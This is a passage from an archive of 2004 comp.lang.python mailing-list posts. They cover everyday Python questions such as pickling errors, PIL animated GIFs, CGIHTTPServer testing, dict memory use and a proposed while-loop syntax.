in every language. If there is a goto statement - ignore it. "jump" or 
"goto" hides the difference between selection and repetition und 
unclarifies the program structure.

Bohm C. and G. Jacopini "Flow Diagrams, Turing Machines, and Languages 
with Only Two Formation Rules." Communications of the ACM, Vol 9, No.5, 
May 1966, pp336-371.
In this article they have shown, that any progrm can be written without 
any goto statement. Structured programming is common goal since about 
1970. (See O. J. Dahl and C. A. R Hoare, Notes on Structured 
Programming, 1972)

Bernhard





From mwh at python.net  Thu Feb  5 11:26:38 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 5 Feb 2004 16:26:38 GMT
Subject: Any problems with *lots* of attributes?
References: <246a4e07.0402040703.2be902a9@posting.google.com>
	<bvrgdn$t76$1@panix1.panix.com>
	<246a4e07.0402042327.5192034a@posting.google.com>
	<1024d7q40b86r2a@news.supernews.com> <bvthes$ne1$1@panix2.panix.com>
Message-ID: <m3wu715w76.fsf@pc150.maths.bris.ac.uk>

aahz at pythoncraft.com (Aahz) writes:

> In article <1024d7q40b86r2a at news.supernews.com>,
> John Roth <newsgroups at jhrothjr.com> wrote:
> >
> >I believe the memory overhead for dictionaries is 4 times that for
> >lists on a per item basis, however both data structures allocate
> >extra space so that they don't have to reallocate too frequently
> >(a very expensive operation.)
> 
> Should be only double; where do you get four times?  (Note that I'm
> talking strictly about the dict itself, not the space consumed by the
> keys.)

The hash is stored in the dictentry struct, which gets you to three
times; I suppose it's possible alignment would get you four but I
don't think so.

Cheers,
mwh

-- 
  I have no disaster recovery plan for black holes, I'm afraid.  Also
  please be aware that if it one looks imminent I will be out rioting
  and setting fire to McDonalds (always wanted to do that) and
  probably not reading email anyway.                     -- Dan Barlow


From deets_noospaam at web.de  Mon Feb 23 12:03:07 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Mon, 23 Feb 2004 18:03:07 +0100
Subject: still trying to pass strings to the OS
References: <c1d5eg$gij$1@solaris.cc.vt.edu>
Message-ID: <c1dboe$k3r$00$1@news.t-online.com>

Read this:

http://pexpect.sourceforge.net/#faq

Then you most probably want to use it :)

-- 
Regards,

Diez B. Roggisch


From cbrown at metservice.com  Mon Feb 23 00:12:52 2004
From: cbrown at metservice.com (Colin Brown)
Date: Mon, 23 Feb 2004 18:12:52 +1300
Subject: Help With EOF character and regular expression matching: URGENT
References: <mailman.181.1077497971.27104.python-list@python.org>
Message-ID: <40398aa4$1@news.iconz.co.nz>


"Robert Brewer" <fumanchu at amor.org> wrote in message
news:mailman.181.1077497971.27104.python-list at python.org...

> I have zero experience with regular expressions
> but if you or some one can give me an idea/snippet I
> think I can make it work.

Hi Robert

Have a look at Kodos - The Python Regex Debugger, a great tool.

Colin




From csad7 at yahoo.com  Thu Feb  5 16:33:09 2004
From: csad7 at yahoo.com (christof hoeke)
Date: Thu, 05 Feb 2004 22:33:09 +0100
Subject: save animated GIF in Python Image Library
Message-ID: <bvucqb$362$06$1@news.t-online.com>

hi,
how can i save an animated GIF with PIL?

e.g. to rotate all frames of an image i tried the following:

im = Image.open('anim.gif')
for f in ImageSequence(im): #using the class from the PIL handbook
     if f:
         f = f.rotate(180)
im.save('animrotated.gif')

problem is that only one frame (i guess the last one) is saved.
i could not find any options for saving GIFs in the handbook.

can this be done at all?

thanks
christof



From mark at mceahern.com  Thu Feb 12 23:38:40 2004
From: mark at mceahern.com (Mark McEahern)
Date: Thu, 12 Feb 2004 22:38:40 -0600
Subject: ANN: PyPayflowPro 0.1.0 is released
Message-ID: <402C54D0.7090008@mceahern.com>

PyPayflowPro is a Python wrapper for the Verisign PayflowPro SDK.

With PyPayflowPro, you can use the Verisign Payflow Pro SDK directly in 
Python. This allows you to process credit card transactions (and other 
financial transactions) using Verisign Payment Services 
(http://www.verisign.com/products/payflow/pro/).

PyPayflowPro requires:

* Pyrex (to build the extension module)
* Verisign PayflowPro for your platform

PyPayflowPro is hosted at SourceForge 
(http://sourceforge.net/projects/pypfpro/) where the current release 
(0.1.0) is available for download.

Feedback is most appreciated.

Thanks,

Mark McEahern



From sheepsquall at netscape.net  Sat Feb  7 20:14:25 2004
From: sheepsquall at netscape.net (Axle)
Date: Sun, 08 Feb 2004 01:14:25 GMT
Subject: Python can't divide??!?!
In-Reply-To: <877jyyiy6d.fsf@hydra.localdomain>
References: <mailman.1252.1076003166.12720.python-list@python.org>
	<87y8rgjlue.fsf@hydra.localdomain>
	<mailman.1326.1076131994.12720.python-list@python.org>
	<877jyyiy6d.fsf@hydra.localdomain>
Message-ID: <R3gVb.22428$3YE1.20881@news04.bloor.is.net.cable.rogers.com>

Yes, python can divide... use the / operator

Kurt B. Kaiser wrote:

> John Hunter <jdhunter at ace.bsd.uchicago.edu> writes:
> 
> 
>>The thing that may be tripping you up is that (val) is simply the
>>value, and (val,) is a tuple containing the value as the first
>>element.  As for printing a value versus a tuple of values, that's the
>>__repr__ versus __str__ distinction previous posters have referred to.
> 
> 
> :-)
> 
> Tim enlightened me on this issue some years ago, when I suggested a
> "solution" using sys.displayhook;
> 
> http://www.google.com/groups?q=g:thl2117804141d&dq=&hl=en&lr=&ie=UTF-8&oe=UTF-8&selm=mailman.991854611.2080.python-list%40python.org
> 
> Just try explaining this stuff to a 9 year old learning Python!  It
> tends to break the expository flow....
> 



From stuart.hungerford at anu.edu.au  Tue Feb  3 20:04:34 2004
From: stuart.hungerford at anu.edu.au (Stuart Hungerford)
Date: 3 Feb 2004 17:04:34 -0800
Subject: Where does shelve look for unshelved class definitions?
Message-ID: <ef85f4c5.0402031704.580feab1@posting.google.com>

Hi all,

I have a python module foo.py which contains:

   class A(object): ...
   class B(object): ...

As well as a class that uses shelve (which in turn is
using dumbdbm):

   class foo(object): ...
      // uses a shelve internally

The methods of foo shelve and restore A and B instances
*but* shelve seems to be looking in the wrong places for
the definitions of A and B when they're "unshelved",
giving the error:

   AttributeError: 'module' object has no attribute 'A'

How can I persuade shelve to look in other namespaces for
A and B?

Any advice much appreciated,


Stu


From virus.manager at st.com  Thu Feb  5 09:50:49 2004
From: virus.manager at st.com (virus.manager at st.com)
Date: Thu, 05 Feb 2004 14:50:49 -0000
Subject: Virus Alert
Message-ID: <20040205145049.D6492F33D@zeta.dmz-eu.st.com>

The mail message (file: message.exe) you sent to <jerry at tin.it> contains a virus. (on zeta)



From peter at engcorp.com  Tue Feb 10 14:32:52 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 10 Feb 2004 14:32:52 -0500
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>
Message-ID: <402931E4.C1E50E92@engcorp.com>

Brian Quinlan wrote:
> 
> Peter:
> > Hmm... so it's your opinion that *all* XML parsers must handle *all*
> > aspects of XML?
> 
> If it isn't Uche's opinion then it is mine.
> 
> > If not, I think you should back off on the criticism
> > of PyRXP as being "not an XML parser" and simply point out that it
> > doesn't handle all aspects of XML because it is intended to provide
> > a very fast/heavily optimized approach to parsing only certain kinds
> > of XML.
> 
> Then it is not an XML parser. It is a "foo" parser, where "foo" is subset of
> XML.
> 
> > It's a valid choice to do so, though of course if PyRXP is
> > promoted as a "full" XML solution that might be inaccurate.
> 
> I have no problem with the existence of PyRXP. It just isn't an XML parser.

Then there are very few XML parsers in the world, if one includes, say,
namespaces and validation as part of XML.

-Peter


From usenet_spam at janc.invalid  Sat Feb  7 22:43:15 2004
From: usenet_spam at janc.invalid (JanC)
Date: Sun, 08 Feb 2004 03:43:15 GMT
Subject: Recognize structures in Images
References: <opr20dblac1bpyqk@news.swissonline.ch>
Message-ID: <Xns94893005E8856JanC@213.119.4.35>

=?iso-8859-15?Q?David_D=FCrrenmatt?= <dd at guv.ethz.ch> schreef:

> I want to write a program in Python which can regonize structures in 
> images (e.g. a person's mouth in a picture of a face) and don't know how 
> to start...
> 
> Do you know any web-ressources on this topic?

imgSeek?
<http://imgseek.sourceforge.net/>

-- 
JanC

"Be strict when sending and tolerant when receiving."
RFC 1958 - Architectural Principles of the Internet - section 3.9


From wmgill at gcgroup.net  Mon Feb 23 11:14:16 2004
From: wmgill at gcgroup.net (William D. Gill)
Date: Mon, 23 Feb 2004 11:14:16 -0500
Subject: using CGIHTTPserver to test html forms
References: <55125$403a17df$42a655ea$9537@msgid.meganewsservers.com>
	<mailman.209.1077551086.27104.python-list@python.org>
Message-ID: <30ea7$403a277d$42a655ea$10432@msgid.meganewsservers.com>

I'll try it and let you know.

Thanks,

Bill

"bblochl" <bblochl at fh-lausitz.de> wrote in message
news:mailman.209.1077551086.27104.python-list at python.org...
> William D. Gill schrieb:
>
> >I use a notebook (win 98) because of its portability.  Unfortunately it
is
> >very slow.  When I try to develop and test python cgi scripts I use
Xitami
> >as a local server, but with python, Xitami, and my text editor running it
> >becomes next to impossible to work.  The keyboard and mouse are slowed to
> >painful levels.  Actual execution of the webpage/script is tolerable, but
to
> >edit I have to stop the server.  I was wondering if using CGIHTTPserver
> >would be a better solution and if anyone can give me an example script
> >(simple enough for a newbie).  Every reference I see to CGIHTTPserver
says
> >it's good for testing your web forms, but they don't show me how.
> >
> >Thanks
> >
> >Bill
> >
> >
> >
> >
> >
> >
> #httpd.py
>
> from BaseHTTPServer import HTTPServer
> from CGIHTTPServer import CGIHTTPRequestHandler
> serveradresse = ("",8080)
> server = HTTPServer(serveradresse, CGIHTTPRequestHandler)
> server.serve_forever()
>
> I have tried that on Win2k starting in the editor Window of IDle and
> Python will hang. (On other systems it works ok - I have not found the
> reason yet!) On my linux- system I have no problems of that kind. On a
> Windows-network I couldn`t get it to work at all.
>
> On my test-sytem (Win2k) it works well, if you start it from a
> DOS-Window from the DOS-Prompt by typing
> python  httpd.py
> The html-files must be in the same directory a s the file httpd.py.
> cgi-files must reside in a subdirectory namend cgi-bin.
>
> To test for instance the html-file name.html, you start the local server
> by typing http://localhost:8080/name.html  (or 127.0.0.1:8080/name.html)
> in the browser  adress line.
>
> Best regards and good luck!
> Bernhard
>
>
>




From lbates at swamisoft.com  Sat Feb 28 17:08:09 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Sat, 28 Feb 2004 16:08:09 -0600
Subject: example code to access some C++ classes in a DLL
References: <c1qlv5$58m$1@schleim.qwe.de>
Message-ID: <O_Kdnfw-_fU2jtzdRVn-vg@comcast.com>

You can interface Python to ANY .DLL by using
CALLDLL.  I've written a wrapper that I feel makes
doing this easier that is posted at:

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/146847

-Larry

"Torsten Mohr" <tmohr at s.netic.de> wrote in message
news:c1qlv5$58m$1 at schleim.qwe.de...
> Hi,
>
> i have written a DLL that implements some C++ classes and
> their methods.  Now i would like to make the classes and
> their methods known to python.
>
> Is there some example code available on how to do this?
> I want to make some classes, their constructors and some
> methods known to python.
>
> I've read the python docu "Tutorial", "Distributing Python Modules",
> "Extending and Embedding" and "Python/X API".
> But none of them seems to tell me how i can interface to:
>
>
> namespace abc {
>   class Abc {
>     Abc();
>     ~Abc();
>
>     int meth1(int abd, std::string s);
>   };
>
>   class Def {
>     Def();
>     ~Def();
>
>     int meth1(long abd, char* g);
>   }
> }
>
> Has anybody got some example code for the necessary wrapper to make
> all the above known to python?
>
>
> Thanks for any hints,
> Torsten.
>
>




From tracy at reinventnow.com  Tue Feb 10 10:42:09 2004
From: tracy at reinventnow.com (Tracy Ruggles)
Date: 10 Feb 2004 07:42:09 -0800
Subject: Help with PicklingError (Can't pickle x: it's not the same object
	as x)
Message-ID: <dd32f595.0402100742.1699dd88@posting.google.com>

>>> sys.platform, sys.version
('freebsd4', '2.2.3 (#2, Nov 17 2003, 17:03:14) \n[GCC 2.95.3 20010315
(release) [FreeBSD]]')

I've poured through pickle.py (line 525) and see where the
PicklingError is being raised, but I can't figure out what conditions
would create the error.

It's testing a class' identity with the object's class that's being
pickled.  Somewhere along the line, the original class and the class
of the instance being pickled have parted ways.

Could this have been caused by a reload(module) call somewhere along
the line?  I thought that reload would only replace the module in
sys.modules if the file module.py had changed since the original
import.  I'm pretty certain that the object's class is not being
altered between the time its module was imported and the time of the
pickling attempt.

Note: the object being pickled is a subclass of 'dict'.  I'm creating
a test case where my class is just a subclass of 'object' to see if
the error is related to that...

Thansk,
Tracy


From nospam-deets at web.de  Mon Feb 23 08:39:22 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Mon, 23 Feb 2004 14:39:22 +0100
Subject: if statements with or w/o else statements
References: <c1cvan$80l$1@solaris.cc.vt.edu>
Message-ID: <c1d015$1h0m3p$1@ID-111250.news.uni-berlin.de>

Bart Nessux wrote:

> Should an if statement have a corresponding else statement? Or, is it OK
> to have an if statement by itself. For completeness, it seems the two
> should be together, but from experience I know that a if statement by
> itself works just fine. Below is an example:

Only if you actually have s/t senseful to do in the else. Otherwise you end
up with s/t like this:

if <cond>:
  ...
else:
  pass

-- 
Regards,

Diez B. Roggisch


From sdahlbac at abo.fi  Wed Feb 25 02:36:08 2004
From: sdahlbac at abo.fi (Simon Dahlbacka)
Date: 24 Feb 2004 23:36:08 -0800
Subject: cPickle and HIGHEST_PROTOCOL problems
References: <mailman.35.1077634851.8594.python-list@python.org>
Message-ID: <ab4c5633.0402242336.19b57161@posting.google.com>

"Tim Peters" <tim.one at comcast.net> wrote in message news:<mailman.35.1077634851.8594.python-list at python.org>...
> [Simon Dahlbacka]
> > I'm trying to cache some information using cPickle
> > and I thought that using cPickle.HIGHEST_PROTOCOL would give me an
> > efficient representation.
> >
> > However,
> >
> > when trying to load the information back I just keep getting a broken
> > pickle with EOF error from cPicle.load(file('myfile.pickle','r'))
>                                                               ^^^
> 
> Change that 'rb'.  Also make sure that the file you write the pickle to is
> opened with 'wb'.
> 
> > if I am not using cPickle.HIGHEST_PROTOCOL  or -1 or 2 it seems to
> > work nicely, is this a bug or something else?  (python 2.3.2 on winxp)
>                                                                   ^^^^^
> 
> Windows distinguishes between text-mode and binary-mode files.  Pickles are
> binary data, so files containing pickles must always be opened (for both
> writing and reading) in binary mode.  "Mysterious errors" are expected if
> you don't.

..of course! I should have thought of that.. but thanks anyway. 
obviously, that fixed the problem, I guess this one goes into the
category of "Stupid user errors" ;)


From prouleau at impathnetworks.com  Thu Feb 26 13:27:36 2004
From: prouleau at impathnetworks.com (Pierre Rouleau)
Date: Thu, 26 Feb 2004 13:27:36 -0500
Subject: Problem with McMillan Installer: no codec search function registered
Message-ID: <mUq%b.18883$253.1101466@news20.bellglobal.com>

Hi all,

When building a exe for a Python application under Windows XP with The 
McMillan installer, the insttaltion succeeds but when I run the 
resulting executable the application tracebacks complaining about a 
codec not being registered:

Traceback (most recent call last):
   File "<string>", line 222, in ?
   File "ivcm\buildivcm\out1.pyz/gettext", line 428, in install
   File "ivcm\buildivcm\out1.pyz/gettext", line 416, in translation
   File "ivcm\buildivcm\out1.pyz/gettext", line 176, in __init__
   File "ivcm\buildivcm\out1.pyz/gettext", line 304, in _parse
LookupError: no codec search functions registered: can't find encoding

This application runs fine when executing from python.exe.  It generates 
the following error when I run the executable built with the McMillan 
Installer.

I have found a solution for the problem if I was using py2exe (which 
I'll probably try soon) in 
http://mail.python.org/pipermail/python-list/2003-March/155106.html.


My app uses in some of the .py files

# -*- coding: iso-8859-1 -*-

What is strange is that I can build the application inside another 
computer running XP and the same version of the McMillan installer) and 
the problem does not show up.

I would try to get help from Gordon McMillan's site but it has been down 
for several weeks, so if someone encountered the same problem, and 
solved it, I'd really like to hear if you ran into the same problem.

My setup:
	Python 2.3.3
	McMillan Installer 5b5

My App:
	Uses wxPython 2.4.2.4

Thansk for any help,

Pierre









From hoi.wai at alumni.ust.hk  Tue Feb 17 10:42:38 2004
From: hoi.wai at alumni.ust.hk (Calvin FONG)
Date: Tue, 17 Feb 2004 23:42:38 +0800
Subject: Creating Self Extracting Zip using Python
In-Reply-To: <c0r3k0$qo1$1@news3.tilbu1.nb.home.nl>
References: <c0qc5j$2g52$1@news.hgc.com.hk>
	<c0r3k0$qo1$1@news3.tilbu1.nb.home.nl>
Message-ID: <c0tdvf$rnt$1@news.hgc.com.hk>

Vincent Wehren wrote:
> "Calvin FONG" <hoi.wai at alumni.ust.hk> schrieb im Newsbeitrag
> news:c0qc5j$2g52$1 at news.hgc.com.hk...
> | Dear all,
> | Are there any utility that can be call by python to create self
> | extracting zip file. I'm now using the powerarchiever. But the command
> | line options aren't flexible enough. Basically, I would like to create a
> | self extracting zip with default file path extraction and force
> | over-write. The powerArchiever just don't let me call it unless I'm
> | using the GUI.
> | Any idea, experience and suggestion are welcome.
> | Thank you.
> | -Calvin
> 
> 
> I use MakeSfx aka FreeExtractor (http://www.disoriented.com/) drive it with
> Python. The command line options is flexible (enough), it's free, and it's
> open source...
> 
> HTH,
> 
> Vincent Wehren
> 
> 
Thank Vincet, that's a nice open-source warez.
By the way, what does HTH stands for?
-Calvin


From paxcalpt at sapo.pt  Thu Feb 12 16:47:51 2004
From: paxcalpt at sapo.pt (Paxcal)
Date: Thu, 12 Feb 2004 21:47:51 -0000
Subject: p2ph
References: <899d28b2.0402121000.5775d875@posting.google.com>
Message-ID: <402bf648$0$16840$a729d347@news.telepac.pt>

You may need to change the subject to "pl2py" or people wont understand what
you are asking...
Personally I don't know a converter.

Paxcal

"Scottie" <Scott_Starker at sil.org> escreveu na mensagem
news:899d28b2.0402121000.5775d875 at posting.google.com...
> Is there a perl to python converter from Windows/DOS? If so, point me to
it.
>
> Scott




From bob at passcal.nmt.edu  Fri Feb 27 17:50:44 2004
From: bob at passcal.nmt.edu (Bob Greschke)
Date: Fri, 27 Feb 2004 15:50:44 -0700
Subject: tkinter test field, scrolling, threads
Message-ID: <403fc9bc_6@corp.newsgroups.com>

I have a program where the user pushes a button, a "starting" message is
.inserted to a text field with an associated scroll bar, a thread is started
that inserts a "working..." message on to the end of the text field until
stopped, or until the loop finishes.  The loop sleeps for about 3 seconds
every time through (I'm just prototyping at this point).  The mainloop just
waits for the user to hit the same button again which will set a flag and
cause the thread to terminate early, otherwise it doesn't have anything to
do.  update()'s and update_idle_tasks() get called anytime anything is
written to the text field.  Everything works fine until the text field fills
up then the program just freezes with no errors on the console window.  If I
change the starting of a thread to a regular function call then everything
works fine.

What is going wrong?

Bob




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 100,000 Newsgroups - 19 Different Servers! =-----


From nuffsaid at phreaker.net  Fri Feb  6 10:00:00 2004
From: nuffsaid at phreaker.net (Nuff Said)
Date: Fri, 06 Feb 2004 16:00:00 +0100
Subject: new newbie
References: <UJNUb.10836$213.5980@edtnps89>
Message-ID: <pan.2004.02.06.14.59.59.488929@phreaker.net>

On Fri, 06 Feb 2004 14:43:00 +0000, not_yet wrote:

> how do I start idle?
> 
> using Fedora / Python2.2

You have to install the 'python-tools' RPM which
is a part of the distribution (but is not installed
by default IIRC).

HTH / Nuff




From paul at boddie.net  Mon Feb 16 02:59:14 2004
From: paul at boddie.net (Paul Boddie)
Date: 15 Feb 2004 23:59:14 -0800
Subject: PyKDE/PyQT/SIP
References: <402ed5d0$0$14898$afc38c87@news.optusnet.com.au>
	<LuFXb.26744$PR4.2729088102@twister2.starband.net>
Message-ID: <23891c90.0402152359.29c62b32@posting.google.com>

Jim Bublitz <jbublitzno at spamnwinternet.com> wrote in message news:<LuFXb.26744$PR4.2729088102 at twister2.starband.net>...
> Sam wrote:
> 
> > ImportError: libpython2.3.so.1.0: cannot open shared object
> > file: No such file or directory
> 
> I'm not sure what this error is, but libkdeuicmodule should be
> looking for libpythonize.so.1.0, which should be in /usr/lib and
> symlinked some other places.

Isn't the problem really about the availability of the Python shared
library? I haven't checked to see if the .so file actually gets
produced in the Python 2.3.x installation process, but I do remember
having to manually create one for Python 2.2.3 on my system. It isn't
a big job to perform on Linux-based systems, but I can't remember the
appropriate magic command plus options - extended exposure to libtool
has made me jaded.

> PyKDE-3.8 was a pretty crappy release as far as installation goes
> (it works great if you can get it installed though).

It wasn't so bad. ;-) Although the low memory installation option
("-c-" or whatever it is) didn't work as advertised, causing my laptop
with "only" 128MB to work for 36 hours before I noticed what had
happened. But once up and running, there's some very nice stuff there
that I wish I had more time to experiment with.

Paul

P.S. Although I do know someone who has had time to do a bit more with
PyKDE. ;-)


From anton at vredegoor.doge.nl  Fri Feb  6 14:25:21 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Fri, 06 Feb 2004 20:25:21 +0100
Subject: PEP 327: Decimal Data Type
References: <mailman.1168.1075811734.12720.python-list@python.org>
	<c00hdt$hbv$0@216.39.172.122>
Message-ID: <4023ea86$0$138$3a628fcd@reader2.nntp.hccnet.nl>

On 6 Feb 2004 17:03:57 GMT, bokr at oz.net (Bengt Richter) wrote:

>The _meaning_ of numbers that are guaranteed to fall into known exact intervals
>in terms of representing measurements, measurement errors, statistics of the
>errors, etc. is a separate matter from keeping track of exact intervals during
>computation. These concerns should not be confused, IMO, though they inevitably
>arise together in thinking about computing with real-life measurement values.

(Warning, naive hobbyist input, practicality: undefined)

One possible option would be to provide for some kind of random
rounding routine for some of the least significant bits of a floating
point value. The advantage would be that this would also be usable for
DSP-like computations that are used in music programming (volume
adjustments) or in digital video (image rotation). 

I agree with the idea that exact interval tracking is important, but
perhaps this exact interval tracking should be used only during
testing and development of the code. 

It could be that it would be possible to produce code with a fixed
number of least significant bits that are randomly rounded each time
some specific operation makes this necessary (not *all* computations!)
and that the floating point data would stay accurate enough for long
enough to be useable in 99.9 percent of the use cases.

Maybe we need a DSP-float instead of a decimal data type? Decimals
could be used for testing DSP-float implementations.

Anton


From secchi at sssup.it  Sat Feb 21 12:15:35 2004
From: secchi at sssup.it (Angelo Secchi)
Date: Sat, 21 Feb 2004 18:15:35 +0100
Subject: Strange (for a newbie) problem
Message-ID: <20040221181535.2baa754b.secchi@sssup.it>


I'm experiencing the following problem. 
I have a python script analyses.py where a certain point I have to
define a variable called 'code' like:

code=151

The program works fine but if I change that line in 'code=sys.argv[1]'
using the sys module in order to give to the program that code as a
parameter (i.e. I then run this script as "python analyses.py 151" from
the shell) then the program returns an error complaining that a certain
variable different from code is not defined.

What is my mistake?
Thanks
angelo

 



From jafo at tummy.com  Sat Feb  7 19:56:53 2004
From: jafo at tummy.com (Sean Reifschneider)
Date: Sat, 7 Feb 2004 17:56:53 -0700
Subject: devel package rpm install
In-Reply-To: <bp2jcg$2a2$1@news1.nivel5.cl>
References: <bp2jcg$2a2$1@news1.nivel5.cl>
Message-ID: <20040208005653.GM25918@tummy.com>

On Fri, Nov 14, 2003 at 09:55:29AM -0300, Edo wrote:
>When I do "rpm -i python2.3-devel-2.3.2-1pydotorg.i386.rpm", I get
>
>error: Failed dependencies:
>        python2.3 = 2.3.2 is needed by python2.3-devel-2.3.2-1pydotorg

Yes, note that it says you must have version 2.3.2 of Python 2.3
installed.

>However, "rpm -qa | grep py" shows:
>
>python2.3-2.3-3pydotorg
           ^^^

Note that this says that you have version 2.3 of Python 2.3 installed.

Sean
-- 
 Hi, my name's Sean, but my friends call me...  Actually, my friends USUALLY
 e-mail me...  -- Sean Reifschneider, 2000
Sean Reifschneider, Member of Technical Staff <jafo at tummy.com>
tummy.com, ltd. - Linux Consulting since 1995.  Qmail, Python, SysAdmin



From tjreedy at udel.edu  Fri Feb  6 13:42:50 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 6 Feb 2004 13:42:50 -0500
Subject: Custom operator
References: <2066c50.0402051336.1e8e7ee4@posting.google.com><20040205220748.GA8055@nl.linux.org>
	<6.0.1.1.0.20040206074906.02624b30@www.mails.lu>
Message-ID: <c00n7b$a5s$1@sea.gmane.org>


<mathias.foehr at mails.lu> wrote in message
news:6.0.1.1.0.20040206074906.02624b30 at www.mails.lu...
>I want to define new operators because mathematicians use special
operators
> (eg circle plus (+), circle times (*), arrows ->) since centuries.
> It increases readability in this area and people have got used to it.

I am sympathetic to the desire and for the same reason, but there are
practical problems with operator extensibility, which is why most computer
languages lack it.

Your choices:

* Reuse existing operators (which Python does allow).

* Use overt functions and function calls.  Operators are covert functions
with an alternate and somewhat ambiguous syntax for function calls, which
is why associativity and precedence rules are needed to disambiguate.
Short names are not all that bad, and meaningful short name also have
readability benefits.

* Write custom additions to some version of the interpreter.

* Write a preprocessor that does a partial parse to identify custom
operators and the blocks governed by each and then use rules to rewrite
code with overt function calls.  If the preprocessor is an external
program, it can be written in any language.  One can preprocess 'in line',
by quoting the code, manipulating it, and then compile or execute.  This
works best when the custom manipulation is pretty localized.

* Use another language

> By the way, are there hooks in python to preprocess a statement before
the
> python compiler takes care of it?

No, there is no built-in macro facility.  The best you can do is to quote
code to protect it from the initial compiler pass so you can manipulate it
as a runtime string before really compiling it.

Terry J. Reedy






From newsgroups at jhrothjr.com  Fri Feb 20 07:48:45 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Fri, 20 Feb 2004 07:48:45 -0500
Subject: Speed of attribute lookup (was Re: advice on programming style:
	is multiple inheritance bad?)
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<101rd69b9127s51@news.supernews.com>
	<bvkh00$38r$1@panix1.panix.com>
	<101sphfjk91p42d@news.supernews.com>
	<c13mpp$9ic$1@panix2.panix.com>
Message-ID: <103c0jdd33bhc3a@news.supernews.com>


"Aahz" <aahz at pythoncraft.com> wrote in message
news:c13mpp$9ic$1 at panix2.panix.com...
> In article <101sphfjk91p42d at news.supernews.com>,
> John Roth <newsgroups at jhrothjr.com> wrote:
> >"Aahz" <aahz at pythoncraft.com> wrote in message
> >news:bvkh00$38r$1 at panix1.panix.com...
> >>
> >> The problem with attribute lookup in new-style classes is that any
> >> instance attribute could be a property.  So if Python finds an
attribute
> >> on the instance, it needs to traverse the MRO to check if there's a
> >> property.  If there isn't one, that's an expensive waste.
> >
> >I thought about that when new style classes came out, and managed
> >to convince myself that it couldn't happen, at least with data
> >properties. Unless trying to set the *same* attribute from the setter
> >invoked from the property actually works? That seems like a lot of work
> >to make it function poorly.
>
> I'm not understanding your question.

In order to determine if something is a property, you have to scan
the MRO to find a descriptor. Correct? The only real problem case
here is if the instance has an attribute that is named the same as the
descriptor. My understanding is that this wasn't allowed, thus
eliminating the necessity of scanning the MRO when the attribute
was sitting right there in front of one.

Now if the original discussion was about speeding up the descriptor
search in the general case, then I misunderstood the issue.

John Roth


> -- 
> Aahz (aahz at pythoncraft.com)           <*>
http://www.pythoncraft.com/
>
> "Argue for your limitations, and sure enough they're yours."  --Richard
Bach




From gerrit at nl.linux.org  Wed Feb 18 15:35:29 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Wed, 18 Feb 2004 21:35:29 +0100
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
In-Reply-To: <cfKYb.44192$hR.1014416@bgtnsc05-news.ops.worldnet.att.net>
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
	<7xwu6khofz.fsf@ruckus.brouhaha.com>
	<cfKYb.44192$hR.1014416@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <20040218203529.GA9181@nl.linux.org>

> "Paul Rubin" <http://phr.cx at NOSPAM.invalid> wrote in message
> news:7xwu6khofz.fsf at ruckus.brouhaha.com...
> > So it's yet another workaround for Python's lack of assignment
> > expressions.  I like
> >
> >     while (line := inputFile.readline()):
> >         ...
> >
> > a lot better.

I disagree. I think it's counter-intuitive to have an assignment inside
an expression. Assignments should be statements. Explicit is better than
implicit. What problem would this solve? And why the ':'?

Gerrit.

-- 
Weather in Twenthe, Netherlands 18/02 19:55 UTC:
	3.0??C Few clouds mostly clear wind 4.0 m/s NNE (57 m above NAP)
-- 
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From carroll at tjc.com  Wed Feb 18 12:41:10 2004
From: carroll at tjc.com (Terry Carroll)
Date: Wed, 18 Feb 2004 17:41:10 GMT
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com> <40330A95.DF809EAA@alcyone.com>
	<4f0a9fdb.0402180457.6c96853d@posting.google.com>
Message-ID: <ql87309o5jg1qsro0tu89gb996635t0k9j@4ax.com>

On 18 Feb 2004 04:57:35 -0800, miki.tebeka at zoran.com (Miki Tebeka) wrote:

>Hell Erik,
>
>> 	do:
>> 	    line = inputFile.readline()
>> 	while line:
>> 	    ...
>Just do it with generators:
>for line in iter(inputFile.readline, ""):
>    ...


With read() instead of readline(), then.

I've certainly run into this using urllib2.



From jepler at unpythonic.net  Wed Feb 18 20:34:47 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 18 Feb 2004 19:34:47 -0600
Subject: Memory pre-allocation for large lists
In-Reply-To: <c0vpj7$l9a$05$1@news.t-online.com>
References: <ift530d51l8td0uoohm5t9ad96pq5n4e3i@4ax.com>
	<c0v3il$bk3$1@panix2.panix.com>
	<698f09f8.0402180521.1315d2c@posting.google.com>
	<c0vpj7$l9a$05$1@news.t-online.com>
Message-ID: <20040219013447.GC11071@unpythonic.net>

On Wed, Feb 18, 2004 at 02:33:26PM +0100, Peter Otten wrote:
> Jeremy Fincher wrote:
> 
> > functor% python /usr/lib/python2.3/timeit.py 'L = [None]*1000' 'for _
> > in xrange(1000): pass'
> > 1000 loops, best of 3: 248 usec per loop
> > functor% python /usr/lib/python2.3/timeit.py 'L = []' 'for _ in
> > xrange(1000): L.append(None)'
> > 1000 loops, best of 3: 1.88e+03 usec per loop
> > 
> > So there's a factor of 7.5 difference in speed there.  I doubt it
> > matters, but it at least lends some credibility to the idea that
